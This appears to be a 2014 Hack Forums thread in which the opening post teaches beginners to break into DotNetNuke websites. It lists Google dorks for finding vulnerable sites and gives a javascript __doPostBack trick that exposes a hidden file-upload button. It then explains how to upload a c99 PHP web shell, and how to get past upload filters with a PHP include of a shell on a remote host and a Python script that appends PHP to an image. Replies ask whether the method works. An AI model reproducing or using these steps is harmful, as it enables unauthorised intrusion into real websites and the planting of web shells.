+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Tutorial Hacking Into Websites In Only Two Minutes Via The DNN Method (/showthread.php?tid=4384737)
Tutorial Hacking Into Websites In Only Two Minutes Via The DNN Method - ronkelly1 - Aug 8, 2014
Hacking Into Websites In Only Two Minutes Via The DNN Method
The DNN method is a very simple way to hack into websites, unlike SQL injection or XSS (Cross-site scripting) it does not require script or command injection.
To implement this method you will need:
Access to the internet
Clipboard
Python
Notepad
A jpg image
A PHP shell in .txt format
That is it Smile
Google Dorks required:
inurl:/tabid/36/language/en-US/Default.aspx
inurl:fcklinkgallery.aspx
inurl:/portals/0
Step One: Use the Google dorks, go to a search result an delete everything in the URL till it looks like http://example.com and then after it paste in Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx so the link looks like http://example.com/Providers/HtmlEditorP...llery.aspx and if you get to a Link Gallery that has three options, URL, page and file you can hack in. If it is a blank Link Gallery that only says 'use selected URL' it is not hackable.
Step Two: Go to file, select it and wait for the file page to load.
Step Three: Delete the url and enter:
j a v a s c r i p t:__doPostBack(‘ctlURL$cmdUpload’,”)
Without the spaces.
This javascript will make a browse button visible.
Step Four: Click on the browse button, download c99 shell or another PHP shell and upload it. Sometimes uploads of .php files will be blocked.
Step Five: Getting around block
Bypassing .php upload blocks:
Upload your PHP shell to a web host and then make a .php file containing this code:
<?php
include ("http://linktophpshell.com/shell.php");
?>
Then make a full white .gif or .jpg image and make sure the gif/jpg and php file are all in the same directory.
Then make a python script with this coding:
file = open ('nameofgif.gif','rb').read()
file += open ('nameofphpfile.php','rb').read()
open ('newphpfile.php','wb').write(file)
Then run both. It will create a valid .jpg image containing code to execute the php shell. Upload it to the server, scroll to where the .gif/.jpg you uploaded is located on the website and then the php shell control panel will open letting you do whatever you want.
* - noname1012 - Aug 8, 2014
How do you get the
Code
javascript:__doPostBack(‘ctlURL$cmdUpload’,”)am i doing something wrong?
* - Testboy333 - Aug 8, 2014
Does it work?
Someone already tested it? x)
* - Mutiny - Aug 8, 2014
I'm not understanding the part where you say delete the url and ente
" javascript:__doPostBack(‘ctlURL$cmdUpload’,”) " I deleted the url, pasted it in and nothing happens